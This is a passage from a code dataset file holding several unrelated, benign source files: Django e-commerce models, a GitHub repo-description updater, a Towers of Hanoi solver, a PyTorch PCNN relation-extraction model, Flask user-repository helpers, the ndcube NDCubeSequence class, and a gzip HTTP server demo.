_('Video')))\nPRODUCT_VALIDATION_TYPE = (('R', _('Need to Review / 확인 필요')),\n ('V', _('Validated / 확인 완료')),\n ('N', _('Unqualified / 비정상 상품')),\n ('D', _('Deleted / 삭제 상품')))\n\n\nclass PriceModel(models.Model):\n class Meta:\n abstract = True\n original_price = models.IntegerField(default=0)\n discount_price = models.IntegerField(null=True, blank=True)\n discount_rate = models.IntegerField(null=True, blank=True)\n currency = models.CharField(choices=CURRENCY_TYPE, max_length=20, default='VND')\n is_free_ship = models.BooleanField(default=False)\n shipping_price = models.IntegerField(default=None, null=True, blank=True)\n\n\nclass Product(TimeStampedModel, PriceModel, ActiveModel, ViewModel, SoldModel, InpectionModel):\n class Meta:\n verbose_name = u'제품 / Product'\n verbose_name_plural = verbose_name\n ordering = ['-created_at', 'current_product_backend_rating', ]\n\n stock_available = models.BooleanField(default=False)\n validation = models.CharField(\n choices=PRODUCT_VALIDATION_TYPE, max_length=255, default='R')\n is_discount = models.BooleanField(default=False)\n is_preorder = models.BooleanField(default=False)\n preorder_campaign = models.ForeignKey(\n PreorderCampaign, on_delete=models.SET_NULL,\n null=True, blank=True)\n\n current_review_rating = models.DecimalField(_('Review'),\n max_digits=2, decimal_places=1, default=0)\n current_product_backend_rating = models.DecimalField(_('Point'),\n max_digits=4, decimal_places=1, default=0)\n product_source = models.CharField(\n choices=PRODUCT_SOURCE_TYPE, max_length=255)\n product_link = models.URLField(\n max_length=1024, blank=True, null=True, unique=True)\n store = models.ForeignKey('store.Store',\n on_delete=models.CASCADE)\n name = models.CharField(_('Product Name'),\n max_length=255, blank=True)\n description = models.TextField(null=True)\n shopee_item_id = models.CharField(\n max_length=255, blank=True, null=True)\n # image\n product_image_type = models.CharField(\n choices=PRODUCT_IMAGE_TYPE, max_length=255, default='MP')\n product_thumbnail_image = models.CharField(null=True, max_length=1024, default=\"https://dabivn.com\")\n video_source = models.CharField(null=True, max_length=1024)\n\n stock = models.IntegerField(default=0)\n\n category = models.ForeignKey(\n ProductCategory, on_delete=models.SET_NULL,\n null=True, blank=True)\n sub_category = models.ForeignKey(\n ProductSubCategory, on_delete=models.SET_NULL,\n null=True, blank=True)\n style = models.ForeignKey(\n ProductStyle, on_delete=models.SET_NULL,\n null=True, blank=True)\n\n shopee_category = models.ManyToManyField(\n ShopeeCategory, blank=True)\n shopee_color = models.ManyToManyField(\n ShopeeColor, blank=True)\n shopee_size = models.ManyToManyField(\n ShopeeSize, blank=True)\n source_extra_option = models.ManyToManyField(\n SourceExtraOption, blank=True)\n size = models.ManyToManyField(\n ProductSize, blank=True)\n\n size_chart_url = models.URLField(null=True, max_length=1024, blank=True)\n size_chart = models.ImageField(null=True,\n blank=True, upload_to='size-chart/%Y/%m')\n color = models.ManyToManyField(\n ProductColor, blank=True, related_name='product_set')\n extra_option = models.ManyToManyField(\n ProductExtraOption, blank=True)\n pattern = models.ManyToManyField(\n ProductPattern, blank=True)\n\n post = models.ForeignKey(\n 'store.StorePost', on_delete=models.CASCADE, null=True, blank=True)\n thumb_image_pk = models.IntegerField(\n _('Product Thumb Image'), default=1)\n\n def __str__(self):\n if self.product_thumbnail_image:\n thumb_image = self.product_thumbnail_image\n else:\n thumb_image = \"http://dabivn.comm\"\n\n return mark_safe(''.format(\n url=thumb_image\n ))\n\n\nclass ProductOption(PriceModel, TimeStampedModel):\n class Meta:\n verbose_name = u'제품 옵션 / Product Option'\n verbose_name_plural = verbose_name\n ordering = ['-created_at', 'product']\n # https://stackoverflow.com/questions/33307892/django-unique-together-with-nullable-foreignkey/33308014\n constraints = [\n UniqueConstraint(fields=['product', 'size', 'color', 'extra_option'],\n name='unique_with_size_color'),\n UniqueConstraint(fields=['product', 'size', 'extra_option'],\n condition=Q(color=None),\n name='unique_without_color'),\n UniqueConstraint(fields=['product', 'color', 'extra_option'],\n condition=Q(size=None),\n name='unique_without_size'),\n UniqueConstraint(fields=['product', 'color', 'size'],\n condition=Q(extra_option=None),\n name='unique_without_extra'),\n ]\n\n shopee_item_id = models.CharField(\n max_length=255, blank=True, null=True)\n is_active = models.BooleanField(default=False)\n name = models.CharField(max_length=255, blank=True)\n stock = models.IntegerField(default=0)\n product = models.ForeignKey(Product, on_delete=models.CASCADE, related_name='product_options')\n size = models.ForeignKey(ProductSize, on_delete=models.SET_NULL,\n null=True, blank=True)\n color = models.ForeignKey(ProductColor, on_delete=models.SET_NULL,\n null=True, blank=True)\n extra_option = models.CharField(max_length=255, null=True, blank=True)\n\n def __str__(self):\n option_string = 'product : ' + str(self.product.pk)\n if self.size:\n option_string = option_string + ' size : ' + self.size.name\n if self.color:\n option_string = option_string + ' color : ' + self.color.name\n if self.extra_option:\n option_string = option_string + ' extra_option : ' + self.extra_option\n return \"#\" + str(self.pk) + ' ' + self.name + '\\n' + option_string\n","sub_path":"app/product/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386664528","text":"import csv\nimport json\nimport logging\nimport re\nimport requests\nimport yaml\n\nfrom github import Github\nfrom pathlib import Path\n\nlogging.basicConfig(\n filename=\"description_added.log\",\n format=\"%(levelname)s: %(message)s\",\n level=logging.INFO\n)\ndef notifier(msg):\n logging.info(msg)\n\ndef get_title(meta):\n if meta['source_metadata']['title'] != None:\n title = meta['source_metadata']['title']\n return title\n else:\n return None\n\ndef get_author(meta):\n if meta['source_metadata']['authors'] != '':\n authors = meta['source_metadata']['authors']\n author = ''.join(authors)\n return author\n else:\n return None\n\ndef get_bdrcid(meta):\n if meta['source_metadata']['id'] != None:\n bdrcid = meta['source_metadata']['id']\n return bdrcid\n else:\n return None\n\ndef get_work_id(brdcid):\n work_id = bdrcid[4:]\n return work_id\n\nif __name__==\"__main__\":\n token = \"\"\n g = Github(token)\n headers = {\"Authorization\": f\"bearer {token}\"}\n with open(\"catalog.csv\", newline=\"\") as csvfile:\n pechas = list(csv.reader(csvfile, delimiter=\",\"))\n for pecha in pechas[4:9]:\n pecha_id = re.search(\"\\[.+\\]\", pecha[0])[0][1:-1]\n repo = g.get_repo(f\"Openpecha/{pecha_id}\")\n contents = repo.get_contents(f\"./{pecha_id}.opf/meta.yml\")\n meta_content = contents.decoded_content.decode()\n meta_content = yaml.safe_load(meta_content)\n title = get_title(meta_content)\n author = get_author(meta_content)\n bdrcid = get_bdrcid(meta_content)\n work_id = get_work_id(bdrcid)\n if author != None:\n data = {\"description\": f\"{title} {author} Tsadra ID: {bdrcid}\"}\n else:\n data = {\"description\": f\"{title } Tsadra ID: {work_id}\"}\n response = requests.patch(f\"https://api.github.com/repos/Openpecha/{pecha_id}\", headers=headers, data=json.dumps(data))\n if response.status_code == 200:\n notifier(f\"{pecha_id} Description added successfully\")\n print(f\"{pecha_id} Description added successfully\")\n else :\n notifier(f\"{pecha_id} description not added due to status code {response.status_code}\")\n print(f\"{pecha_id} description not added due to status code {response.status_code}\")\n","sub_path":"description_for_ebook.py","file_name":"description_for_ebook.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"237135878","text":"# Tuerme von Hanoi\r\n# Geschrieben von Alicia Stockhausen\r\n\r\n\r\ndef zuege(n):\r\n anzahlZuege = 2**n-1\r\n print('\\tMovements: {0}'.format(str(anzahlZuege)))\r\n\r\n\r\ndef hanoi(n, start, ziel, hilfe):\r\n if n == 1:\r\n print('\\tMove disk {0} from tower {1} to tower {2}\\n'.format(str(n), start, ziel))\r\n else:\r\n hanoi(n-1, start, hilfe, ziel)\r\n print('\\tMove disk {0} from tower {1} to tower {2}\\n'.format(str(n), start, ziel))\r\n hanoi(n-1, hilfe, ziel, start)\r\n\r\n\r\ndef hanoiSpiel(n, start, ziel, hilfe):\r\n hanoi(n, start, ziel, hilfe)\r\n print('\\n\\n--------------------------------------------\\n\\n\\t')\r\n zuege(n)\r\n\r\n\r\ntower1 = 'A'\r\ntower2 = 'B'\r\ntower3 = 'C'\r\n\r\nprint('How many disks should have the tower?')\r\nanzahlScheiben = int(input())\r\nhanoiSpiel(anzahlScheiben, tower1, tower3, tower2)","sub_path":"tuerme_von_hanoi.py","file_name":"tuerme_von_hanoi.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"379240653","text":"# -*- coding: utf-8 -*-\nfrom .BasicModule import BasicModule\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport pdb\nimport pickle\nimport sklearn.metrics as metrics\nfrom data_init import data\n\nclass Myloss(nn.Module):\n def __init__(self):\n super(Myloss, self).__init__()\n def forward(self, pred,truth):\n return torch.sum(-torch.log(torch.clamp(pred,1.0e-10, 1.0)).cuda()*torch.reshape(truth,[-1]).cuda())\n\nclass PCNN(BasicModule):\n '''\n Lin 2016 Att PCNN\n '''\n def __init__(self, opt):\n super(PCNN, self).__init__()\n\n self.opt = opt\n self.model_name = 'PCNN_ATT'\n self.step = 0\n self.test_scale_p = 0.5\n self.num_classes = opt.num_classes\n self.mode = \"train\"\n\n self.pre_vet = data.word_embed\n self.vocab_size = len(self.pre_vet)\n\n self.word_embs = nn.Embedding(self.vocab_size, self.opt.word_dim)\n self.pos1_embs = nn.Embedding(self.opt.pos_size, self.opt.pos_dim)\n self.pos2_embs = nn.Embedding(self.opt.pos_size, self.opt.pos_dim)\n\n all_filter_num = self.opt.filters_num * len(self.opt.filters)\n\n self.rel_dim = all_filter_num\n self.hidden_dim = opt.filters_num*len(opt.filters)\n\n if self.opt.use_pcnn:\n rel_dim = all_filter_num * 3\n masks = torch.LongTensor(([[0, 0, 0], [1, 0, 0], [0, 1, 0], [0, 0, 1]]))\n if self.opt.use_gpu:\n masks = masks.cuda()\n self.mask_embedding = nn.Embedding(4, 3)\n self.mask_embedding.weight.data.copy_(masks)\n self.mask_embedding.weight.requires_grad = False\n else:\n self.max_pooling = nn.MaxPool1d(self.hidden_dim)\n\n\n self.att_A = nn.init.xavier_uniform_(nn.Parameter(torch.randn(1,self.hidden_dim)))\n # self.att_A = nn.Parameter(nn.init.uniform(torch.randn(hidden_dim)))\n self.rel_embs = nn.init.xavier_uniform_(nn.Parameter(torch.randn(self.rel_dim,self.num_classes)))\n # self.rel_embs_plus = nn.\n self.rel_bias = nn.init.xavier_uniform_(nn.Parameter(torch.randn(1,self.opt.num_classes)))\n\n # the Relation-Specific Attention Diagonal Matrix\n # self.att_w = nn.Param eterList([nn.Parameter(torch.eye(rel_dim)) for _ in range(self.opt.rel_num)])\n\n # Conv filter width\n feature_dim = self.opt.word_dim + self.opt.pos_dim * 2\n\n # option for multi size filter\n # here is only a kind of filter with height = 3\n self.convs = nn.ModuleList([nn.Conv2d(1, self.opt.filters_num, (k, feature_dim), padding=(int(k / 2), 0)) for k in self.opt.filters])\n\n self.dropout = nn.Dropout(self.opt.drop_out)\n\n # self.init_model_weight()\n # self.init_word_emb(opt)\n self.myloss = Myloss()\n self.pre_check_data = 0 # 上一个检查的数据\n\n self.init_word_emb(opt)\n self.init_conv_weight()\n\n def data_check(self,args):\n # self.rel_embs, self.rel_bias, self.inputs_forward\n title = [\"rel_embed\",\"rel_bias\",\"inputs_forward\",\"sent_reps\",\"att_sent\",\"score\",\"bag_rep\",\"prob\",\"probabil\"]\n\n if self.pre_check_data==0:\n self.pre_check_data = args\n\n if self.step%50==0:\n print(\"\\n\\nbatch:\",self.step)\n print(\"check data:sen_reps,att_sent,score,bag_rep,prob,probability\")\n print(\"变量\".ljust(15),\"shape\".ljust(15),\"均值/变化\".ljust(15),\"标准差/变化\".ljust(15),)\n print(\"-\"*60)\n for i,item in enumerate(args):\n mean = str(round(float(item.mean()),3))\n std = str(round(float(item.std()),3))\n mean_varia = str(round(float(item.mean()-self.pre_check_data[i].mean()),3))\n std_varia = str(round(float(item.std()-self.pre_check_data[i].std()),3))\n\n print(title[i].ljust(15),\n str(list(item.shape)).ljust(15),\n mean+\" (\"+mean_varia+\")\".ljust(15),\n std + \" (\" + std_varia + \")\".ljust(15)\n )\n self.pre_check_data = args\n\n def init_conv_weight(self):\n '''\n use xavier to init\n '''\n for conv in self.convs:\n nn.init.xavier_uniform_(conv.weight)\n nn.init.uniform_(conv.bias)\n\n def init_word_emb(self,opt):\n\n print(\"init wordembed\")\n def p_2norm(weight):\n # v = torch.from_numpy(path)\n v = weight\n\n v = nn.init.xavier_uniform_(v)\n\n return v\n\n # w2v = p_2norm(self.pre_vet)\n # p1_2v = p_2norm(self.opt.p1_2v_path)\n # p2_2v = p_2norm(self.opt.p2_2v_path)\n\n w2v = torch.from_numpy(self.pre_vet)\n w2v = p_2norm(w2v)\n\n if self.opt.use_gpu:\n self.word_embs.weight.data.copy_(w2v.cuda())\n # self.pos1_embs.weight.data.copy_(p1_2v.cuda())\n # self.pos2_embs.weight.data.copy_(p2_2v.cuda())\n else:\n # self.pos1_embs.weight.data.copy_(p1_2v)\n # self.pos2_embs.weight.data.copy_(p2_2v)\n self.word_embs.weight.data.copy_(w2v)\n\n def CNN_encoder(self,batch):\n sent_batch, label_batch, sen_num_batch = batch\n\n self.keep_prob = self.opt.drop_out\n if not self.opt.use_gpu:\n self.input_word = torch.LongTensor(sent_batch[:, 0, :])\n self.input_pos_e1 = torch.LongTensor(sent_batch[:, 1, :])\n self.input_pos_e2 = torch.LongTensor(sent_batch[:, 2, :])\n self.bag_sens = sen_num_batch\n else:\n self.input_word = torch.LongTensor(sent_batch[:, 0, :]).cuda()\n self.input_pos_e1 = torch.LongTensor(sent_batch[:, 1, :]).cuda()\n self.input_pos_e2 = torch.LongTensor(sent_batch[:, 2, :]).cuda()\n self.bag_sens = sen_num_batch\n\n # self.word_embs(torch.LongTensor(self.input_word))\n # word_embed = tf.cast(tf.nn.embedding_lookup(self.word_embedding, self.input_word),tf.float32)\n\n inputs_forward = torch.cat([self.word_embs(self.input_word), \\\n self.pos1_embs(self.input_pos_e1), \\\n self.pos2_embs(self.input_pos_e2)],2)\n\n self.inputs_forward = inputs_forward\n # cnn编码\n x = inputs_forward\n\n x = x.unsqueeze(1) # insNum * 1 * maxLen * (word_dim + 2pos_dim)\n # pdb.set_trace()\n # temp = [conv(x) for conv in self.convs] # [len,channel,?,1] ?和卷积核大小和padding有关 # len = 1, list内的itemd的shape(insNum,convs_num,maxLen)\n\n x = [torch.tanh(conv(x).squeeze(3)) for conv in self.convs] # -->len,300,30. # len = 1, list内的itemd的shape(insNum,convs_num,maxLen)\n\n # x = [i.unsqueeze(1) for i in x] # len,1,300,30\n # pdb.set_trace()\n if (self.opt.use_pcnn):\n print(\"未完成\")\n # x = [self.mask_piece_pooling(i, mask) for i in x] # len = insNum, shape:[1,690]\n # x = [self.piece_max_pooling(i, insPool) for i in x] # shape: [insNum,conNum*3]\n else:\n x = [self.max_pooling(i).squeeze(2) for i in x]\n\n x = torch.cat(x, 1)\n\n if self.training is True:\n x = torch.dropout(x,self.opt.drop_out,train=True)\n else:\n x = torch.dropout(x,self.opt.drop_out,train=False)\n\n # pdb.set_trace()\n return x\n\n def forward(self,batch):\n sent_batch, label_batch, sen_num_batch = batch\n\n self.sentence_reps = self.CNN_encoder(batch) # batch内所有句子经过编码后的表示\n\n self.probability = []\n self.rel = torch.reshape(self.rel_embs.t(),[self.num_classes,self.hidden_dim])\n\n loss=0\n flag = False\n for i in range(self.opt.batch_size):\n if self.opt.use_gpu:\n label = torch.tensor(label_batch[i],dtype=torch.float32).cuda()\n else:\n label = torch.tensor(label_batch[i],dtype=torch.float32)\n\n sen_reps = torch.reshape(self.sentence_reps[self.bag_sens[i]:self.bag_sens[i + 1]], [-1, self.opt.hidden_dim]) # 一个包的句子表示\n\n att_sent = torch.reshape(sen_reps.mul(self.att_A),[-1,self.hidden_dim]) # 注意力后的句子\n score = torch.matmul(self.rel,att_sent.t()) # n*Or\n alpha = torch.softmax(score, 1)\n\n bag_rep = torch.matmul(alpha,sen_reps) # 换下 att_sent试试 Or*h\n out = torch.matmul(bag_rep,self.rel_embs)+self.rel_bias # 35*35 对应的包对应每种关系都生成了一个特征向量,他们与每个关系的匹配程度\n prob = torch.reshape(torch.sum(torch.softmax(out,1)*torch.reshape(label,[-1,1]),0),\n [self.num_classes])\n # pdb.set_trace()\n probability = torch.reshape(\n torch.sum(torch.softmax(out, 1) * torch.eye(self.num_classes, dtype=torch.float32, device=\"cuda\"), 1),\n [-1, self.num_classes])\n\n # self.pred_y.append(pred)\n self.probability.append(probability)\n\n # 查看数据均值方差\n if(self.step%200==0 and not flag):\n flag=True\n print(prob)\n self.data_check([self.rel_embs,self.rel_bias,self.inputs_forward,sen_reps,att_sent,score,bag_rep,prob,probability])\n\n # pdb.set_trace() #检查loss\n\n loss += torch.sum(\n -torch.log(torch.clamp(prob,1.0e-10, 1.0))*torch.reshape(label,[-1]))\n\n if self.opt.use_gpu:\n self.probability = torch.cat(self.probability,0).cuda()\n else:\n self.probability = torch.cat(self.probability,0)\n\n self.step+=1\n if self.training is True:\n return loss/128.0\n else:\n return self.probability\n","sub_path":"model/PCNN.py","file_name":"PCNN.py","file_ext":"py","file_size_in_byte":9933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"568368335","text":"from app.usermodel import User\nfrom app import db\n\n\ndef add_user(name, email, password, gcm_regid, group):\n db.session.add(User(name, email, password, gcm_regid, group))\n db.session.commit()\n\n\ndef get_users():\n p = User.query.all()\n d1 = {}\n\n for ujson in p:\n d1.setdefault(\"users\", []).append(User.to_json(ujson))\n\n return d1\n\n\ndef empty_table():\n try:\n db.session.query(User).delete()\n db.session.commit()\n return True\n except Exception:\n return False\n\n\ndef return_user_details(email):\n profile = User.query.filter_by(email=email).all()\n\n if profile is not None:\n try:\n b = User.profile_details(profile[0])\n return b\n\n except IndexError:\n return \"error\"\n\n\ndef return_group_members(group):\n profile = User.query.filter_by(group=group).all()\n allusers = {}\n if profile is not None:\n try:\n for userJson in profile:\n #b = User.profile_details(profile[0])\n allusers.setdefault(\"users\", []).append(User.to_json(userJson))\n return allusers\n\n except IndexError:\n return \"error\"\n\ndef return_groups_of_user(userEmail):\n allUsers = get_users()\n \n\n\ndef return_group_members_count(group):\n profile = User.query.filter_by(group=group).all()\n allusers = {}\n if profile is not None:\n try:\n for userJson in profile:\n #b = User.profile_details(profile[0])\n allusers.setdefault(\"users\", []).append(User.to_json(userJson))\n return len(profile)\n\n except IndexError:\n return \"error\"\n","sub_path":"app/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"298746817","text":"import copy\nimport numbers\nimport textwrap\n\nimport astropy.units as u\nimport numpy as np\n\nfrom ndcube import GlobalCoords, utils\n\n__all__ = ['NDCubeSequence']\n\nPLOTTING_NOT_SUPPORTED_ERROR = \"\"\"NDCubeSequence plotting is no longer supported.\nTo learn why or to tell us why it should be re-instated, read and comment on issue #315:\n\n https://github.com/sunpy/ndcube/issues/315\n\nTo see a introductory guide on how to make your own NDCubeSequence plots, see the docs:\n\n https://docs.sunpy.org/projects/ndcube/en/stable/ndcubesequence.html#plotting\"\"\"\n\n\nclass NDCubeSequenceBase:\n \"\"\"\n Class representing list of cubes.\n\n Parameters\n ----------\n data_list : `list`\n List of cubes.\n\n meta : `dict` or None\n The header of the NDCubeSequence.\n\n common_axis: `int` or None\n The data axis which is common between the NDCubeSequence and the Cubes within.\n For example, if the Cubes are sequenced in chronological order and time is\n one of the zeroth axis of each Cube, then common_axis should be se to 0.\n This enables the option for the NDCubeSequence to be indexed as though it is\n one single Cube.\n \"\"\"\n\n def __init__(self, data_list, meta=None, common_axis=None, **kwargs):\n self.data = data_list\n self.meta = meta\n if common_axis is not None:\n self._common_axis = int(common_axis)\n else:\n self._common_axis = common_axis\n\n @property\n def dimensions(self):\n return self._dimensions\n\n @property\n def _dimensions(self):\n dimensions = [len(self.data) * u.pix] + list(self.data[0].dimensions)\n if len(dimensions) > 1:\n # If there is a common axis, length of cube's along it may not\n # be the same. Therefore if the lengths are different,\n # represent them as a tuple of all the values, else as an int.\n if self._common_axis is not None:\n common_axis_lengths = [cube.data.shape[self._common_axis] for cube in self.data]\n if len(np.unique(common_axis_lengths)) != 1:\n common_axis_dimensions = [cube.dimensions[self._common_axis]\n for cube in self.data]\n dimensions[self._common_axis + 1] = u.Quantity(\n common_axis_dimensions, unit=common_axis_dimensions[0].unit)\n return tuple(dimensions)\n\n @property\n def array_axis_physical_types(self):\n return [(\"meta.obs.sequence\",)] + self.data[0].array_axis_physical_types\n\n @property\n def cube_like_dimensions(self):\n if not isinstance(self._common_axis, int):\n raise TypeError(\"Common axis must be set.\")\n dimensions = list(self._dimensions)\n cube_like_dimensions = list(self._dimensions[1:])\n if dimensions[self._common_axis + 1].isscalar:\n cube_like_dimensions[self._common_axis] = u.Quantity(\n dimensions[0].value * dimensions[self._common_axis + 1].value, unit=u.pix)\n else:\n cube_like_dimensions[self._common_axis] = sum(dimensions[self._common_axis + 1])\n # Combine into single Quantity\n cube_like_dimensions = u.Quantity(cube_like_dimensions, unit=u.pix)\n return cube_like_dimensions\n\n @property\n def cube_like_array_axis_physical_types(self):\n if self._common_axis is None:\n raise ValueError(\"Common axis must be set.\")\n return self.data[0].array_axis_physical_types\n\n def __getitem__(self, item):\n if isinstance(item, numbers.Integral):\n return self.data[item]\n # Create an empty sequence in which to place the sliced cubes.\n result = type(self)([], meta=self.meta, common_axis=self._common_axis)\n if isinstance(item, slice):\n result.data = self.data[item]\n else:\n if isinstance(item[0], numbers.Integral):\n result = self.data[item[0]][item[1:]]\n else:\n result.data = [cube[item[1:]] for cube in self.data[item[0]]]\n # Determine common axis after slicing.\n if self._common_axis is not None:\n drop_cube_axes = [isinstance(i, numbers.Integral) for i in item[1:]]\n if (len(drop_cube_axes) > self._common_axis and\n drop_cube_axes[self._common_axis] is True):\n result._common_axis = None\n else:\n result._common_axis = \\\n self._common_axis - sum(drop_cube_axes[:self._common_axis])\n return result\n\n @property\n def index_as_cube(self):\n \"\"\"\n Method to slice the NDCubesequence instance as a single cube.\n\n Example\n -------\n >>> # Say we have three Cubes each cube has common_axis=0 is time and shape=(3,3,3)\n >>> data_list = [cubeA, cubeB, cubeC] # doctest: +SKIP\n >>> cs = NDCubeSequence(data_list, meta=None, common_axis=0) # doctest: +SKIP\n >>> # return zeroth time slice of cubeB in via normal NDCubeSequence indexing.\n >>> cs[1,:,0,:] # doctest: +SKIP\n >>> # Return same slice using this function\n >>> cs.index_sequence_as_cube[3:6, 0, :] # doctest: +SKIP\n \"\"\"\n if self._common_axis is None:\n raise ValueError(\"common_axis cannot be None\")\n return _IndexAsCubeSlicer(self)\n\n @property\n def common_axis_extra_coords(self):\n if not isinstance(self._common_axis, int):\n raise ValueError(\"Common axis is not set.\")\n # Get names and units of coords along common axis.\n axis_coord_names, axis_coord_units = utils.sequence._get_axis_extra_coord_names_and_units(\n self.data, self._common_axis)\n # Compile dictionary of common axis extra coords.\n if axis_coord_names is not None:\n return utils.sequence._get_int_axis_extra_coords(\n self.data, axis_coord_names, axis_coord_units, self._common_axis)\n else:\n return None\n\n @property\n def sequence_axis_coords(self):\n # Collect names of global coords in each cube.\n global_names = set.union(*[set(cube.global_coords.keys())\n for cube in self.data\n if isinstance(cube.global_coords, GlobalCoords)])\n # For each coord, combine values from each cube's global coords property.\n # If coord not present in cube, insert None.\n return dict(\n [(name, [cube.global_coords[name] if name in cube.global_coords else None\n for cube in self.data])\n for name in global_names])\n\n def explode_along_axis(self, axis):\n \"\"\"\n Separates slices of NDCubes in sequence along a given cube axis into\n (N-1)DCubes.\n\n Parameters\n ----------\n\n axis : `int`\n The axis along which the data is to be changed.\n \"\"\"\n # if axis is None then set axis as common axis.\n if self._common_axis is not None:\n if self._common_axis != axis:\n raise ValueError(\"axis and common_axis should be equal.\")\n # is axis is -ve then calculate the axis from the length of the dimensions of one cube\n if axis < 0:\n axis = len(self.dimensions[1::]) + axis\n # To store the resultant cube\n result_cubes = []\n # All slices are initially initialised as slice(None, None, None)\n result_cubes_slice = [slice(None, None, None)] * len(self[0].data.shape)\n # the range of the axis that needs to be sliced\n range_of_axis = self[0].data.shape[axis]\n for ndcube in self.data:\n for index in range(range_of_axis):\n # setting the slice value to the index so that the slices are done correctly.\n result_cubes_slice[axis] = index\n # appending the sliced cubes in the result_cube list\n result_cubes.append(ndcube.__getitem__(tuple(result_cubes_slice)))\n # creating a new sequence with the result_cubes keeping the meta and common axis as axis\n return self._new_instance(result_cubes, meta=self.meta)\n\n def __str__(self):\n return (textwrap.dedent(f\"\"\"\\\n NDCubeSequence\n --------------\n Dimensions: {self.dimensions}\n Physical Types of Axes: {self.array_axis_physical_types}\n Common Cube Axis: {self._common_axis}\"\"\"))\n\n def __repr__(self):\n return f\"{object.__repr__(self)}\\n{str(self)}\"\n\n @classmethod\n def _new_instance(cls, data_list, meta=None, common_axis=None):\n \"\"\"\n Instantiate a new instance of this class using given data.\n \"\"\"\n return cls(data_list, meta=meta, common_axis=common_axis)\n\n\nclass NDCubeSequence(NDCubeSequenceBase):\n def plot(self, **kwargs):\n raise NotImplementedError(PLOTTING_NOT_SUPPORTED_ERROR)\n\n def plot_as_cube(self, **kwargs):\n raise NotImplementedError(PLOTTING_NOT_SUPPORTED_ERROR)\n\n\n\"\"\"\nCube Sequence Helpers\n\"\"\"\n\n\nclass _IndexAsCubeSlicer:\n \"\"\"\n Helper class to make slicing in index_as_cube sliceable/indexable like a\n numpy array.\n\n Parameters\n ----------\n seq : `ndcube.NDCubeSequence`\n Object of NDCubeSequence.\n \"\"\"\n\n def __init__(self, seq):\n self.seq = seq\n\n def __getitem__(self, item):\n common_axis = self.seq._common_axis\n common_axis_lengths = [int(cube.dimensions[common_axis].value) for cube in self.seq.data]\n n_cube_dims = len(self.seq.cube_like_dimensions)\n n_uncommon_cube_dims = n_cube_dims - 1\n # If item is iint or slice, turn into a tuple, filling in items\n # for unincluded axes with slice(None). This ensures it is\n # treated the same as tuple items.\n if isinstance(item, (numbers.Integral, slice)):\n item = [item] + [slice(None)] * n_uncommon_cube_dims\n else:\n # Item must therefore be tuple. Ensure it has an entry for each axis.\n item = list(item) + [slice(None)] * (n_cube_dims - len(item))\n # If common axis item is slice(None), result is trivial as common_axis is not changed.\n if item[common_axis] == slice(None):\n # Create item for slicing through the default API and slice.\n return self.seq[tuple([slice(None)] + item)]\n if isinstance(item[common_axis], numbers.Integral):\n # If common_axis item is an int or return an NDCube with dimensionality of N-1\n sequence_index, common_axis_index = \\\n utils.sequence.cube_like_index_to_sequence_and_common_axis_indices(\n item[common_axis], common_axis, common_axis_lengths)\n # Insert index for common axis in item for slicing the NDCube.\n cube_item = copy.deepcopy(item)\n cube_item[common_axis] = common_axis_index\n return self.seq.data[sequence_index][tuple(cube_item)]\n else:\n # item can now only be a tuple whose common axis item is a non-None slice object.\n # Convert item into iterable of SequenceItems and slice each cube appropriately.\n # item for common_axis must always be a slice for every cube,\n # even if it is only a length-1 slice.\n # Thus NDCubeSequence.index_as_cube can only slice away common axis if\n # item is int or item's first item is an int.\n # i.e. NDCubeSequence.index_as_cube cannot cause common_axis to become None\n # since in all cases where the common_axis is sliced away involve an NDCube\n # is returned, not an NDCubeSequence.\n # common_axis of returned sequence must be altered if axes in front of it\n # are sliced away.\n sequence_items = utils.sequence.cube_like_tuple_item_to_sequence_items(\n item, common_axis, common_axis_lengths, n_cube_dims)\n # Work out new common axis value if axes in front of it are sliced away.\n new_common_axis = common_axis - sum([isinstance(i, numbers.Integral)\n for i in item[:common_axis]])\n # Copy sequence and alter the data and common axis.\n result = type(self.seq)([], meta=self.seq.meta, common_axis=new_common_axis)\n result.data = [self.seq.data[sequence_item.sequence_index][sequence_item.cube_item]\n for sequence_item in sequence_items]\n return result\n","sub_path":"ndcube/ndcube_sequence.py","file_name":"ndcube_sequence.py","file_ext":"py","file_size_in_byte":12570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"570942828","text":"import argparse\nimport string\nimport os\nimport sys\nimport gzip\nimport cStringIO\nfrom BaseHTTPServer import HTTPServer,BaseHTTPRequestHandler\n\nDEFAULT_HOST = '127.0.0.1'\nDEFAULT_PORT = 9900\nHTML_CONTENT = \"

Compressed Hello World!

\" \nclass RequestHandler(BaseHTTPRequestHandler):\n\tdef do_GET(self):\n\t\tself.send_response(200)\n\t\tself.send_header('Content-type', 'text/html')\n\t\tself.send_header('Content-Encoding', 'gzip')\n\t\tzbuf=self.compress_buffer(HTML_CONTENT)\n\t\tsys.stdout.write('Content-Encoding:gzip\\r\\n')\n\t\tself.send_header('Content-Length', len(zbuf))\n\t\tself.end_headers()\n\t\t#Send the message to browser\n\t\tzbuf=self.compress_buffer(HTML_CONTENT)\n\t\tsys.stdout.write('Content-Encoding:gzip\\r\\n')\n\t\tsys.stdout.write(\"Content-Length: %d\\r\\n\" % (len(zbuf)))\n\t\tsys.stdout.write('\\r\\n')\n\t\tself.wfile.write(zbuf)\n\tdef compress_buffer(self,buf):\n\t\tzbuf=cStringIO.StringIO()\n\t\tzfile=gzip.GzipFile(mode='wb',fileobj=zbuf,compresslevel=6)\n\t\tzfile.write(buf)\n\t\tzfile.close()\n\t\treturn zbuf.getvalue()\n\nif __name__ == '__main__':\n\tparser=argparse.ArgumentParser(description='Simple HTTP Server Example')\n\tparser.add_argument('--port',action='store',dest='port',type=int,default=DEFAULT_PORT)\n\tport = 